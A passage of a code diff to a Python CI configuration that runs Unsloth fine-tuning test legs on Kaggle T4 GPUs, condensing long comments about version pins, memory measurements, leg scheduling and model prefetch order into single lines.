1 bindings",install = BASE_INSTALL,entry = "run_t4_smoke.py",files = SMOKE_FILES,- # THE WHOLE POINT, and it is a branch rather than a capacity.- # `unsloth/kernels/utils.py:170` binds `torch_gpu_device` to- # `torch.cuda.device` when DEVICE_COUNT > 1 and to a nullcontext shim- # otherwise -- and `build_kernel.py` pins every other payload with- # CUDA_VISIBLE_DEVICES, so every unsloth kernel this CI has ever run- # took the shim. The same is true of the DEVICE_COUNT-sized- # CUDA_STREAMS / WEIGHT_BUFFERS / ABSMAX_BUFFERS arrays- # (kernels/utils.py:211-250), the per-device rotary caches- # (models/llama.py:1838, gemma.py:280) and the temp_mlp device tuples- # (llama.py:1300).- #- # It is FREE because the divergence is triggered by VISIBILITY, not by- # using both cards. Qwen3-0.6B fits on one, so the leg co-tenants and- # the driver reserves 0.7 GB on each card rather than a whole one.+ # THE WHOLE POINT, and it is a branch rather than a capacity: unsloth/kernels/utils.py:170 binds torch_gpu_device to torch.cuda.device only when DEVICE_COUNT > 1, and build_kernel.py pins every other payload with CUDA_VISIBLE_DEVICES, so every unsloth kernel this CI has run took the shim. The same is true of the DEVICE_COUNT-sized CUDA_STREAMS / WEIGHT_BUFFERS / ABSMAX_BUFFERS arrays (kernels/utils.py:211-250), the per-device rotary caches (models/llama.py:1838, gemma.py:280) and the temp_mlp device tuples (llama.py:1300). It is FREE because the divergence is triggered by VISIBILITY: Qwen3-0.6B fits on one card, so the leg co-tenants at 0.7 GB per card.all_cards = True,args = ("--model","unsloth/Qwen3-0.6B",- # 20 for the same measured reason as the Default leg: at 10 this- # model learns the canary but not to stop after it, and the- # exact-match rule then fails on a training length rather than on a- # regression (unsloth-probe-defaultleg-r2-563e31 vs -s20-002d25).+ # 20 for the same measured reason as the Default leg: at 10 this model learns the canary but not to stop after it, and the exact-match rule then fails on a training length rather than on a regression (unsloth-probe-defaultleg-r2-563e31 vs -s20-002d25)."--max-steps","20","--require-multi-gpu","--expected-cards","2",- # Both cards VISIBLE, weights on ONE. Measured on- # unsloth-probe-multigpu-r1-18beab: with two T4s visible accelerate- # sharded this model 232849408 params on cuda:0 and 155582464 on- # cuda:1, unsloth announced `Num GPUs used = 2`, and step 0 died at- # unsloth/models/llama.py:972 with `index is on cuda:0, different- # from other tensors on cuda:1`. Whether that is a DEFECT is not- # settled -- #2467 was closed with "unsloth runs on only 1 gpu",- # #2882 with the same message at another call site was closed as- # fixed -- so it may be documented behaviour. Either way it is not- # something a per-PR check should go red on, and the bindings this- # leg exists to cover do not depend on it.+ # Both cards VISIBLE, weights on ONE. Measured on unsloth-probe-multigpu-r1-18beab: with two T4s visible accelerate sharded this model across both, unsloth announced `Num GPUs used = 2`, and step 0 died at unsloth/models/llama.py:972 with `index is on cuda:0, different from other tensors on cuda:1`. Whether that is a DEFECT is unsettled (#2467 closed with "unsloth runs on only 1 gpu", #2882 closed as fixed), so it is not something a per-PR check should go red on, and the bindings this leg covers do not depend on it."--single-device",- # NO --export-gguf, and this is a measurement rather than a saving.- # The bundle `install_llama_cpp` fetches for the notebook legs is- # the CPU one: on unsloth-probe-full-concurrent-417238 this exact- # model's llama-bench reported `backend CPU`, 604.15 MiB, 596.05 M- # params. A CPU llama.cpp cannot split across cards at all, so a- # two-card tensor-split assertion here could not fail and would not- # mean anything. The GGUF path is already covered by four other- # legs; adding a fifth export buys nothing and costs ~40s of a- # margin this leg does not have to spare.+ # NO --export-gguf, and this is a measurement rather than a saving: the bundle `install_llama_cpp` fetches for the notebook legs is the CPU one (on unsloth-probe-full-concurrent-417238 llama-bench reported `backend CPU`), and a CPU llama.cpp cannot split across cards, so a two-card tensor-split assertion here could not fail and would not mean anything. The GGUF path is already covered by four other legs.),- # Same situation as `canary` and `Default`: two library versions do not- # produce one fp16 trajectory, and this leg additionally changes how- # many cards the kernels see. A band here would go red on ordinary- # cross-version drift.+ # Same situation as `canary` and `Default`: two library versions do not produce one fp16 trajectory, and this leg additionally changes how many cards the kernels see, so a band would go red on ordinary cross-version drift.reference = "",),"gptoss": Leg(vram_gb = 12.78,name = "gptoss",summary = "gpt-oss-20b LoRA: torch.compile and the float32 path",- # The base install and nothing else, specifically WITHOUT the- # `triton_kernels` git dependency the gpt-oss notebook installs. That- # omission is measured: two probe kernels on 2026-08-11 ran this leg on- # a T4, one with triton_kernels and torchao (the notebook's own install- # cell) and one with neither, and produced the SAME three losses to the- # last bit (5.76492166519165, 4.781009674072266, 4.027626991271973), the- # same peak memory (12.78 GB) and the same compile counters (32 graphs,- # 779 calls, 2 breaks).- #- # They agree because `load_in_4bit=True` never reaches MXFP4: Unsloth's- # FLOAT_TO_INT_MAPPER redirects `unsloth/gpt-oss-20b` to the NF4- # `unsloth/gpt-oss-20b-unsloth-bnb-4bit`, and MXFP4 has no backward pass- # to reach. triton_kernels would be a pinned git checkout of a- # third-party repo on every run for no observable effect.+ # The base install and nothing else, specifically WITHOUT the `triton_kernels` git dependency the gpt-oss notebook installs. Measured: two probe kernels on 2026-08-11, one with triton_kernels and torchao and one with neither, produced the SAME three losses to the last bit, the same 12.78 GB peak and the same compile counters (32 graphs, 779 calls, 2 breaks). They agree because `load_in_4bit=True` never reaches MXFP4: FLOAT_TO_INT_MAPPER redirects `unsloth/gpt-oss-20b` to the NF4 `unsloth/gpt-oss-20b-unsloth-bnb-4bit`, and MXFP4 has no backward pass to reach.install = BASE_INSTALL,entry = "run_gptoss_t4.py",- # gguf_export.py travels too, now that this leg exports. It is- # imported lazily inside the export branch, so a leg that never exports- # would not notice it missing -- which is exactly why it is declared- # here rather than left to chance.+ # gguf_export.py travels too, now that this leg exports. It is imported lazily inside the export branch, so a leg that never exports would not notice it missing, which is why it is declared here rather than left to chance.files = COMMON_FILES + ("run_gptoss_t4.py", "gguf_export.py"),args = ("--max-steps","3","--max-seq-length","1024",- # NO EXPORT here either, and for this leg it was never Q8_0.- # gpt-oss overrides any request and logs "GPT-OSS does not support- # GGUF quantization ... Overriding to MXFP4 format", so what this- # produced was a 13153.7MB MXFP4 file in 348.1s across 27.6GB of- # transient disk (unsloth-probe-gptoss-final-e9bd76). That is the- # most expensive export in the suite and the least representative- # of the thing under test, which is that the prebuilt binaries- # convert and the result runs -- covered by `default` at 40.6s and- # by `vision_fla_compile` at 99.3s, on files small enough to- # actually load afterwards. The -cpu llama.cpp bundle is another- # reason not to lean on a 20B here: inference on it would be CPU- # decode.+ # NO EXPORT here either, and for this leg it was never Q8_0: gpt-oss overrides any request ("GPT-OSS does not support GGUF quantization ... Overriding to MXFP4 format"), so this produced a 13153.7MB MXFP4 file in 348.1s across 27.6GB of transient disk (unsloth-probe-gptoss-final-e9bd76), the most expensive export in the suite and the least representative of the claim under test, which `default` makes in 40.6s and `vision_fla_compile` in 99.3s on files small enough to load afterwards.),),- # NOT WIRED, for a smaller reason than it used to be. See UNWIRED below:- # the install that killed three probe sessions is re-solved, and what- # remains is a runtime question needing one session on a real T4.+ # NOT WIRED, for a smaller reason than it used to be. See UNWIRED below: the install that killed three probe sessions is re-solved, and what remains is a runtime question needing one session on a real T4."grpo": Leg(vram_gb = 13.8,name = "grpo",summary = "Qwen3-4B GRPO through a vLLM engine on the same card",- # vLLM FIRST and alone: it pins torch, and resolving it after unsloth- # walks torch underneath an already installed stack.- #- # THE VERSION MATCHES THE IMAGE, IT IS NOT MERELY OLD. Kaggle ships- # torch 2.10.0+cu128, and vLLM's torch pin by release is- #- # 0.11.2 .. 0.16.0 torch==2.9.0 / 2.9.1- # 0.17.0 .. 0.19.1 torch==2.10.0 <- the whole window- # 0.20.0 .. 0.26.0 torch==2.11.0- # 0.27.0 .. torch==2.13.0- #- # Every other choice REPLACES the image's torch, which is what all three- # probe sessions died of: the image's NVIDIA runtime packages belong to- # 2.10 and pip treats them as satisfying the new torch's pins. 0.19.1 is- # the newest release needing no replacement, so the install is ordinary- # and the leg keeps `system_site_packages`.- #- # No xformers: its vLLM attention backend was deleted in 0.12.0, so it- # would install a package nothing selects. sm_75 has no FlashAttention- # and no FlashInfer, and the ladder in vllm/platforms/cuda.py falls- # through those to TRITON_ATTN, pinned below rather than left to a probe- # order that moves between releases. sm_75 is still in- # CUDA_SUPPORTED_ARCHS at v0.19.1, and fp16 is supported below- # capability 8.0.+ # vLLM FIRST and alone: it pins torch, and resolving it after unsloth walks torch underneath an already installed stack. THE VERSION MATCHES THE IMAGE, IT IS NOT MERELY OLD: Kaggle ships torch 2.10.0+cu128, and only vLLM 0.17.0 .. 0.19.1 pin torch==2.10.0 (0.11.2-0.16.0 want 2.9.x, 0.20.0-0.26.0 want 2.11.0, 0.27.0+ want 2.13.0). Every other choice REPLACES the image's torch, which is what all three probe sessions died of, since the image's NVIDIA runtime packages belong to 2.10 and pip treats them as satisfying the new torch's pins. 0.19.1 is the newest release needing no replacement, so the leg keeps `system_site_packages`. No xformers: its vLLM attention backend was deleted in 0.12.0. sm_75 has no FlashAttention and no FlashInfer, and the ladder in vllm/platforms/cuda.py falls through to TRITON_ATTN, pinned below rather than left to a probe order that moves between releases; sm_75 is still in CUDA_SUPPORTED_ARCHS at v0.19.1 and fp16 is supported below capability 8.0.install = (("vllm==0.19.1",),) + BASE_INSTALL,entry = "run_grpo_t4.py",files = COMMON_FILES + ("run_grpo_t4.py",),@@ -695,37 +254,13 @@ LEGS: dict[str, Leg] = {"unsloth","unsloth_zoo",),- # ALL FIVE ARE LOAD-BEARING ON A 14.56GB CARD, and are the values that- # passed rather than the ones that look reasonable. Two probes with the- # notebook's own settings (seq 2048, 4 generations, rank 32, utilization- # 0.9) died in the BACKWARD at- # unsloth_zoo/gradient_checkpointing.py:1013, peaking at 15.97GB in- # 16-bit and 19.25GB in 4-bit.- #- # 4-bit is not the lever it looks like -- it peaked HIGHER than 16-bit,- # since quantizing weights does nothing for activations while- # utilization 0.9 still hands vLLM ~13GB up front. UNSLOTH_VLLM_STANDBY- # returns the weights during training but not the KV cache reservation,- # so utilization is what decides whether a backward has anywhere to run.- #- # Measured on kernel unsloth-t4-ci-53efcc4e: peak 13.60GB allocated of- # 14.56GB, three steps in 192s.+ # ALL FIVE ARE LOAD-BEARING ON A 14.56GB CARD, and are the values that passed rather than the ones that look reasonable. Two probes with the notebook's own settings (seq 2048, 4 generations, rank 32, utilization 0.9) died in the BACKWARD at unsloth_zoo/gradient_checkpointing.py:1013, peaking at 15.97GB in 16-bit and 19.25GB in 4-bit. 4-bit is not the lever it looks like: quantizing weights does nothing for activations while utilization 0.9 still hands vLLM ~13GB up front, and UNSLOTH_VLLM_STANDBY returns the weights during training but not the KV cache reservation. Measured on kernel unsloth-t4-ci-53efcc4e: peak 13.60GB allocated of 14.56GB, three steps in 192s.args = ("--max-steps","3","--load-in-4bit","--gpu-memory-utilization",- # 0.95, the value originally asked for, and it is measured on BOTH- # platforms rather than assumed. This file previously argued against- # it from two probes that OOMed at 0.9 -- but those were Qwen3-4B,- # and at 0.6B the activation budget is a different problem:- #- # Colab T4, torch 2.11.0 peak reserved 11.76 GB, sleep/wake 3/3- # Kaggle T4, torch 2.10.0 peak reserved 11.30 GB, sleep/wake 3/3- #- # both passing on the FIRST rung of a 0.95/0.8/0.6/0.5 ladder, ~3 GB- # under the 14.56 GB card. The old 0.5 came from the 4B probes and- # was never measured for this model.+ # 0.95, measured on BOTH platforms rather than assumed: Colab T4 torch 2.11.0 peak reserved 11.76 GB and Kaggle T4 torch 2.10.0 peak reserved 11.30 GB, sleep/wake 3/3, both passing on the FIRST rung of a 0.95/0.8/0.6/0.5 ladder, ~3 GB under the card. The earlier argument against it came from Qwen3-4B probes that OOMed at 0.9; at 0.6B the activation budget is a different problem."0.95","--max-seq-length","1024",@@ -736,114 +271,27 @@ LEGS: dict[str, Leg] = {),env = {"UNSLOTH_VLLM_STANDBY": "1",- # See the install comment. Named rather than probed so a release- # reordering the ladder turns this leg red instead of silently- # selecting something else.+ # See the install comment. Named rather than probed so a release reordering the ladder turns this leg red instead of silently selecting something else."VLLM_ATTENTION_BACKEND": "TRITON_ATTN",- # Kaggle cannot link what flashinfer JIT-compiles. On kernel- # unsloth-t4-ci-e2d9ce9b, vLLM 0.19.1 reached engine construction on- # a real T4, flashinfer 0.6.6 compiled all three sampling .cu files- # CLEANLY for `-gencode=arch=compute_75,code=sm_75`, and the link- # died on- #- # /usr/bin/ld: cannot find -lcuda- #- # CORRECTION, from the shipped leg's own report rather than from- # a probe: the stub is NOT absent and this IS fixable from here.- # An earlier version of this comment said "libcuda.so is simply- # absent from this image ... not fixable from here", and kernel- # unsloth-probe-grpo-shipped-d15695 disproves it:- #- # "libcuda_shim": {"needed": true, "applied": true,- # "real": "/usr/local/cuda/compat/libcuda.so"}- #- # run_grpo_t4.py:597 symlinks that onto LIBRARY_PATH and has done- # since #8440. The two `-L` paths flashinfer passes do not include- # /usr/local/cuda/compat, which is why the raw link fails; the leg- # supplies the missing directory itself. The hand-written ladder- # probes had no shim, which is the likeliest reason THEY hit- # `ld: cannot find -lcuda` while the leg does not.- #- # The setting stays regardless: not JITting is still cheaper than- # JITting, in a session billed by wall clock on 4 vCPUs.+ # Kaggle cannot link what flashinfer JIT-compiles: on kernel unsloth-t4-ci-e2d9ce9b, flashinfer 0.6.6 compiled all three sampling .cu files cleanly for sm_75 and the link died on `/usr/bin/ld: cannot find -lcuda`. The stub is NOT absent and this IS fixable from here: kernel unsloth-probe-grpo-shipped-d15695 reports libcuda_shim applied against /usr/local/cuda/compat/libcuda.so, which run_grpo_t4.py:597 symlinks onto LIBRARY_PATH and has done since #8440. The two `-L` paths flashinfer passes do not include /usr/local/cuda/compat, which is why the raw link fails and why the hand-written ladder probes, which had no shim, hit it. The setting stays regardless: not JITting is cheaper than JITting in a session billed by wall clock on 4 vCPUs."VLLM_USE_FLASHINFER_SAMPLER": "0",- # The two settings above are NOT sufficient on their own, and a probe- # that set only them failed identically to one that set neither- # (kernels unsloth-probe-grpo-ladder-kaggle-7e7697 and -r2-ddcb18,- # four rungs each, every one dying on the same link). unsloth_zoo's- # patch_vllm OVERWRITES both during model load:- #- # vllm_utils.py:2494 VLLM_ATTENTION_BACKEND = "FLASHINFER"- # vllm_utils.py:2502 VLLM_USE_FLASHINFER_SAMPLER = "1"- #- # both reached via `elif Version(vllm_version) >= Version("0.11.0")`,- # which 0.19.1 satisfies. The guard in front of them (2452-2460)- # tests only that nvcc and ninja EXIST, and on Kaggle they both do -- # what is missing is the driver stub the compiled objects then link- # against, which that check never looks for. So anything set here is- # gone by the time vLLM reads it.- #- # This is the knob that actually holds: it is read at 2449, before- # any of the assignments, and skips the entire flashinfer block.+ # The two settings above are NOT sufficient on their own: a probe that set only them failed identically to one that set neither (unsloth-probe-grpo-ladder-kaggle-7e7697 and -r2-ddcb18). unsloth_zoo's patch_vllm OVERWRITES both during model load (vllm_utils.py:2494 sets VLLM_ATTENTION_BACKEND="FLASHINFER", :2502 sets VLLM_USE_FLASHINFER_SAMPLER="1"), reached via `elif Version(vllm_version) >= Version("0.11.0")`, and the guard at 2452-2460 tests only that nvcc and ninja EXIST, which on Kaggle they do. This knob is read at 2449, before any of the assignments, and skips the entire flashinfer block."UNSLOTH_VLLM_NO_FLASHINFER": "1",},- # See the field comment. The env var above is kept as well: it is not- # redundant, it is what stops unsloth reaching for FlashInfer at all,- # and keeping both means a future image that DOES ship the stub still- # takes the deliberate path rather than whichever one happens to link.+ # See the field comment. The env var above is kept as well: it is what stops unsloth reaching for FlashInfer at all, and keeping both means a future image that DOES ship the stub still takes the deliberate path rather than whichever one happens to link.uninstall = ("flashinfer-python", "flashinfer-cubin", "flashinfer-jit-cache"),- # Now true, which is the point of the version choice above: this leg no- # longer replaces torch, so it shares the image's view instead of- # resolving a whole CUDA stack from scratch. Probe 3 spent about an hour- # of quota doing that and never got past venv creation.+ # Now true, which is the point of the version choice above: this leg no longer replaces torch, so it shares the image's view instead of resolving a whole CUDA stack from scratch. Probe 3 spent about an hour of quota doing that and never got past venv creation.system_site_packages = True,),}-# How many legs one kernel packs. This used to be 2, the card count, because-# legs were started all at once and one per card: a third would have SHARED a-# card and quietly changed what both of the legs on it measured.-#-# They now queue -- build_kernel.py runs one worker per card, and a card takes-# its next leg only when the previous one has exited -- so a leg beyond the-# second waits rather than sharing, and the card count no longer caps this.-# What caps it is wall clock: every leg past the second adds its whole runtime-# to one card's column, the session is killed at 12 hours, and the launcher's-# own ceiling is lower still. At 4 legs the longest column is about 11 minutes,-# so there is room, but this is a number to raise deliberately and measure-# after, not to grow by accident.-#-# Raised 4 -> 5 for the Default leg, deliberately and with the arithmetic. The-# five-leg kernel was then MEASURED, on kernel unsloth-probe-all5-kernel-e28818:-#-# gpu0 frontier 22.7->489.9 canary 23.0->488.0 gptoss 492.7->814.9-# gpu1 control 26.4->488.6 Default 69.5->500.4-#-# Makespan 792.2s, 13.2 minutes, against a 12 hour session kill.-#-# Note what those intervals say, because an earlier draft of this comment got it-# wrong: legs do NOT simply queue one per card. The VRAM admission lets light-# legs CO-TENANT -- frontier and canary hold gpu0 for their whole lives at-# 0.7GB each against a 13.0GB budget, and Default shares gpu1 with control ---# while gptoss at 12.78GB is admitted only once gpu0 is empty, which is why it-# starts at 492.7s. So a fifth light leg costs far less than adding its runtime-# to a column suggests, and it is ADMISSION, not the card count and not a queue,-# that decides. A fifth HEAVY leg would be a different question entirely.-# Raised 5 -> 6 for the multi_gpu leg, the cheapest addition yet: it co-tenants-# on BOTH cards at 1.2GB each rather than taking one, so it consumes no card-# outright and never enters the card queue.-#-# Whether the makespan holds is a MEASUREMENT, not this comment.+# How many legs one kernel packs. This was 2, the card count, because legs were started all at once and one per card. They now queue (build_kernel.py runs one worker per card, and a card takes its next leg only when the previous one has exited), so the card count no longer caps this; wall clock does, since every leg past the second adds its runtime to one card's column against a 12 hour session kill. MEASURED at five legs on unsloth-probe-all5-kernel-e28818: makespan 792.2s. Note that legs do NOT simply queue one per card: the VRAM admission lets light legs CO-TENANT (frontier and canary hold gpu0 together at 0.7GB each against a 13.0GB budget), while gptoss at 12.78GB is admitted only once gpu0 is empty, which is why it starts at 492.7s. So ADMISSION, not the card count and not a queue, decides, and a fifth HEAVY leg would be a different question. Raised 5 -> 6 for multi_gpu, the cheapest addition yet: it co-tenants on BOTH cards at 1.2GB rather than taking one. Whether the makespan holds is a MEASUREMENT, not this comment.MAX_LEGS_PER_KERNEL = 6-# Legs defined here and deliberately NOT run, with the reason. A leg is unwired-# rather than deleted when the payload is right and the environment is not, so-# the next person to try owes nothing but a working install. Every entry must-# say what was measured.+# Legs defined here and deliberately NOT run, with the reason. A leg is unwired rather than deleted when the payload is right and the environment is not, so the next person to try owes nothing but a working install. Every entry must say what was measured.UNWIRED: dict[str, str] = {- # A leg belongs here only while a specific unanswered question about it- # would be answered by a session. "Not tried yet" is not that.+ # A leg belongs here only while a specific unanswered question about it would be answered by a session. "Not tried yet" is not that."frontier": ("SUPERSEDED by vision_fla_compile rather than broken. frontier was ""latest transformers and trl on Qwen2.5-0.5B; the vision leg is latest "@@ -1001,161 +449,33 @@ UNWIRED: dict[str, str] = {),}-# Which legs travel in which kernel. ONE kernel, holding every leg, which its-# 2xT4 session works through two at a time -- one per card, the next leg-# starting on a card only when that card's previous leg has exited.-#-# This was two kernels, and the reason it is one now is NOT quota. A session-# bills its wall clock once rather than per card, so two kernels of two legs-# cost 662s of billing against 646s for one kernel of four: a rounding error.-# What two kernels cost is the whole ACCOUNT. Kaggle allows two concurrent GPU-# sessions, two kernels take both, and kaggle-t4-studio-gpu-ci.yml runs on the-# same account -- so the notebook leg locked Unsloth out entirely for as long as-# it ran (measured: Unsloth's run 32607617804 queued ~40 minutes behind notebook-# run 32607621452). One kernel holds one session and leaves the other free, and-# the two workflows now hold separate GitHub concurrency groups so they can-# actually use it. Splitting the group without packing the kernel, or packing-# without splitting the group, each make things worse on their own.-#-# gptoss sits THIRD, and that position is load-bearing. This is not the-# longest-first order it used to be, and it is not tidy either, so it needs its-# reasoning attached or the next reader will "fix" it back.-#-# The driver now prefetches the models on a lane that takes no card (see-# kaggle_prefetch.py). A prefetch only pays for the work it finishes BEFORE the-# leg that wants the model starts, so gptoss -- the only leg with a 12 GB-# download -- must not start at t=0. Third is first pick of the SECOND WAVE: it-# starts at ~190-220s, which is lead time the prefetch can spend, and a small-# leg is still running beside it.-#-# Simulated over every permutation, against the durations measured on the real-# one-kernel run 32611343797 (gptoss 384.1s, frontier 307.1s, canary 191.5s-# warm, control 179.0s warm) and a range of the unknown gpt-oss download time D:-#-# order prefetch worst (D 40..200) mean-# canary, control, gptoss, frontier yes 528.1s 504.1s-# control, canary, gptoss, frontier yes 540.6s 500.8s-# gptoss, frontier, canary, control no 563.1s 563.1s-# gptoss, frontier, canary, control yes 603.1s 603.1s-# frontier, canary, control, gptoss yes 651.1s 585.2s-#-# Three results, each contradicting something that sounds right:-#-# * Prefetching WITHOUT reordering is a REGRESSION. gptoss starts at t=0, so-# there is no window in front of it to fill, and it waits on a download it-# could have started itself.-# * gptoss LAST is worse than doing nothing for any D under ~120s. It is the-# longest leg, so ending on it leaves the other card idle for its whole-# ~284s. Standard LPT; "run the big model last" is the intuition to resist.-# * This order is never worse than the old one at any D tested, including-# D=40 where the prefetch barely helps. Chosen on WORST CASE rather than-# mean, deliberately, because D is not measured yet.-#-# If the prefetch fails outright the schedule degrades to ~568s against the old-# 563.1s: gptoss starts at ~184s and downloads for itself exactly as before.-# Costing 5s to maybe save 35-65s is why this is safe to ship before D is known.-#-# control and canary stay in the same kernel, which is what their comparison-# needs: same image, same driver, same hour. They no longer run on the two-# cards SIMULTANEOUSLY, which is fine -- they were never compared against each-# other, only each against its own committed reference, and neither reads a-# clock. What would break them is landing in different SESSIONS, and packing-# everything into one kernel makes that impossible rather than merely unlikely.-#-# `grpo` returns here once the illegal memory access in UNWIRED is understood.-# It briefly had a kernel of its own, on the reasoning that pairing with gpt-oss-# broke it: it failed paired and had passed alone. Running it ALONE again-# (unsloth-t4-ci-c98f14be) reproduced the paired failure exactly, same stack,-# same 13.8GB peak, same engine_built false, so the pairing was never the-# variable and one contrasting observation was not enough to blame a shared-# host. It stays unwired rather than re-paired, since a leg passing one session-# in three tells CI nothing either way.-#-# `frontier` is REPLACED by `vision_fla_compile` rather than joined by it.-# frontier was "latest transformers and trl on Qwen2.5-0.5B"; the vision leg is-# latest transformers and trl on Qwen3.5-2B, and on top of that it asserts the-# vendored FLA kernels, the attention choice on Turing, a real vision training-# run with pixels on the card, the merged vision export, a Q8_0 GGUF with its-# mmproj sidecar and inference on the exported file. Everything frontier proved-# is a subset of that. Keeping both would spend a card on the smaller claim,-# and MAX_LEGS_PER_KERNEL is 5.-#-# Verified GREEN as a whole leg before wiring, on one T4:-# unsloth-probe-visleg-final-2b896b reports passed true with failures [],-# vision_failures [] and kernel_failures [], at 2.84GB peak reserved -- so it-# co-tenants comfortably rather than displacing anything.+# Which legs travel in which kernel. ONE kernel holding every leg, which its 2xT4 session works through two at a time. This was two kernels, and the reason it is one now is NOT quota (a session bills wall clock once, so two kernels of two legs cost 662s against 646s for one of four) but the ACCOUNT: Kaggle allows two concurrent GPU sessions, two kernels take both, and kaggle-t4-studio-gpu-ci.yml runs on the same account, so the notebook leg locked Unsloth out entirely while it ran (run 32607617804 queued ~40 minutes behind notebook run 32607621452). The two workflows now hold separate GitHub concurrency groups; splitting the group without packing the kernel, or packing without splitting, each make things worse alone.+# gptoss sits THIRD, and that position is load-bearing. The driver prefetches models on a lane that takes no card (kaggle_prefetch.py), and a prefetch only pays for work it finishes BEFORE the leg that wants the model starts, so gptoss, the only leg with a 12 GB download, must not start at t=0. Third is first pick of the second wave, at ~190-220s. Simulated over every permutation against the durations measured on run 32611343797 and a range of the unknown download time D: this order is never worse than the old one at any D tested, prefetching WITHOUT reordering is a REGRESSION (gptoss at t=0 has no window in front of it), and gptoss LAST is worse than doing nothing for any D under ~120s, since ending on the longest leg leaves the other card idle. Chosen on WORST CASE rather than mean, because D is not measured yet. If the prefetch fails outright the schedule degrades to ~568s against the old 563.1s.+# control and canary stay in the same kernel, which is what their comparison needs: same image, same driver, same hour. They no longer run on the two cards SIMULTANEOUSLY, which is fine, since they were never compared against each other, only each against its own committed reference. What would break them is landing in different SESSIONS, which packing everything into one kernel makes impossible.+# `grpo` returns here once the illegal memory access in UNWIRED is understood. Running it ALONE (unsloth-t4-ci-c98f14be) reproduced the paired failure exactly, same stack, same 13.8GB peak, same engine_built false, so pairing with gpt-oss was never the variable.+# `frontier` is REPLACED by `vision_fla_compile` rather than joined by it: everything frontier proved is a subset of the vision leg, which also asserts the vendored FLA kernels, the attention choice on Turing, a real vision training run, the merged vision export, a Q8_0 GGUF with its mmproj sidecar and inference on the exported file. Verified green as a whole leg before wiring (unsloth-probe-visleg-final-2b896b, 2.84GB peak reserved).KERNELS: tuple[tuple[str, ...], ...] = (("canary", "control", "gptoss", "vision_fla_compile", "default"),)-# What the prefetch lane warms, in order, into the Kaggle image's default HF-# cache. See kaggle_prefetch.py for the mechanism and KERNELS above for why-# gptoss is third.-#-# The SMALL model first, which inverts what looks obvious. gpt-oss is bigger,-# but it is wanted by ONE leg whose own setup does not finish until ~160s, so a-# fetch that lands by then is early enough. Qwen2.5-0.5B gates THREE legs and-# the first of them starts at t=0, so it is the only fetch with no lead time in-# front of it at all. Fetching the big one first pushes the small one out past-# the moment the first leg is ready, delaying three legs to give one a head-# start it did not need.-#-# These must match what the legs LOAD, which is not the same thing as what-# they ASK FOR, and the difference cost a whole prefetch once already. The-# gptoss payload declares DEFAULT_MODEL = "unsloth/gpt-oss-20b", but that is an-# MXFP4 checkpoint and sm_75 cannot read MXFP4, so unsloth redirects to-# `-unsloth-bnb-4bit` at load time; run_gptoss_t4.py's own docstring records the-# redirect and the leg's output on run 32667451396 shows both strings. The-# first version of this list prefetched the declared name and therefore pulled-# 55.1 GB of a checkpoint no leg ever opens, while the leg downloaded the real-# one for itself exactly as before.-#-# Nothing at runtime notices this: a prefetch of the wrong repo downloads-# happily, warms a cache nobody reads, and reports success. The guard that was-# supposed to catch it compared against DEFAULT_MODEL and so agreed with the-# bug; it now knows about the redirect.+# What the prefetch lane warms, in order, into the Kaggle image's default HF cache. See kaggle_prefetch.py for the mechanism and KERNELS above for why gptoss is third. The SMALL model first, which inverts what looks obvious: gpt-oss is bigger but is wanted by ONE leg whose own setup does not finish until ~160s, while Qwen2.5-0.5B gates THREE legs and the first starts at t=0, so it is the only fetch with no lead time in front of it.+# These must match what the legs LOAD, not what they ASK FOR. The gptoss payload declares DEFAULT_MODEL = "unsloth/gpt-oss-20b", but that is an MXFP4 checkpoint and sm_75 cannot read MXFP4, so unsloth redirects to `-unsloth-bnb-4bit` at load time; the first version of this list prefetched the declared name and pulled 55.1 GB of a checkpoint no leg opens while the leg downloaded the real one anyway. Nothing at runtime notices: a prefetch of the wrong repo downloads happily, warms a cache nobody reads, and reports success.PREFETCH_REPOS: tuple[str, ...] = (- # CRITICAL PATH FIRST, and that is a reversal of the original order.- #- # The earlier argument was gpt-oss first for MARGIN, because D -- how long- # 12.5 GB takes -- was unknown and gptoss was the leg the schedule was built- # around. D is now measured at 61.7s on kernel- # unsloth-probe-prefetch-verify-9568-7a0bdd (~203 MB/s once the symlinked- # blob double-count is removed), so every repo here lands inside ~90s- # whatever the order, and the leg that needs one EARLIEST should not be the- # one waiting.- #- # vision_fla_compile is that leg: it starts at t~21 and it sets the- # makespan, so its 4.58 GB checkpoint is what a background lane should be- # fetching while the legs are still installing.+ # CRITICAL PATH FIRST, a reversal of the original gpt-oss-first order, which was chosen for margin while D (how long 12.5 GB takes) was unknown. D is now measured at 61.7s on kernel unsloth-probe-prefetch-verify-9568-7a0bdd, so every repo here lands inside ~90s whatever the order, and the leg that needs one EARLIEST should not be the one waiting. vision_fla_compile is that leg: it starts at t~21 and it sets the makespan."unsloth/Qwen3.5-2B",- # Default's model and the 4bit sibling `load_in_4bit=True` actually- # resolves to. Both, because FLOAT_TO_INT_MAPPER redirects at load time and- # warming only the name that appears in the args warms a cache the leg- # never reads -- which downloads happily and saves nothing.+ # Default's model and the 4bit sibling `load_in_4bit=True` actually resolves to. Both, because FLOAT_TO_INT_MAPPER redirects at load time and warming only the name in the args warms a cache the leg never reads."unsloth/Qwen3-0.6B","unsloth/qwen3-0.6b-unsloth-bnb-4bit",- # canary and control, which take the payload default."unsloth/Qwen2.5-0.5B-Instruct",- # Last now rather than first: gptoss is admitted only once a card empties,- # around t~500 on the measured schedule, so it has the most slack of- # anything here.+ # Last now rather than first: gptoss is admitted only once a card empties, around t~500 on the measured schedule, so it has the most slack of anything here."unsloth/gpt-oss-20b-unsloth-bnb-4bit",)-# Declared name -> what actually gets loaded on an sm_75 card. Kept beside the-# list it corrects so the two cannot drift apart silently.+# Declared name -> what actually gets loaded on an sm_75 card. Kept beside the list it corrects so the two cannot drift apart silently.LOAD_REDIRECTS: dict[str, str] = {"unsloth/gpt-oss-20b": "unsloth/gpt-oss-20b-unsloth-bnb-4bit",- # CASE MATTERS HERE, and it is not a typo. Two runs report- # `resolved_checkpoint: unsloth/qwen3-0.6b-unsloth-bnb-4bit` in lower case- # (all5-kernel-e28818 and defaultleg-s20-002d25), while gpt-oss above- # resolves with its capitals intact. The HF cache keys on the literal- # string -- `models--unsloth--qwen3-0.6b-unsloth-bnb-4bit` is a different- # directory from `models--unsloth--Qwen3-0.6B-unsloth-bnb-4bit` -- so- # prefetching the pretty spelling warms a directory the leg never reads and- # the download happens twice. Copied from the report rather than typed.+ # CASE MATTERS HERE, and it is not a typo: two runs report `resolved_checkpoint: unsloth/qwen3-0.6b-unsloth-bnb-4bit` in lower case while gpt-oss above resolves with its capitals intact. The HF cache keys on the literal string, so prefetching the pretty spelling warms a directory the leg 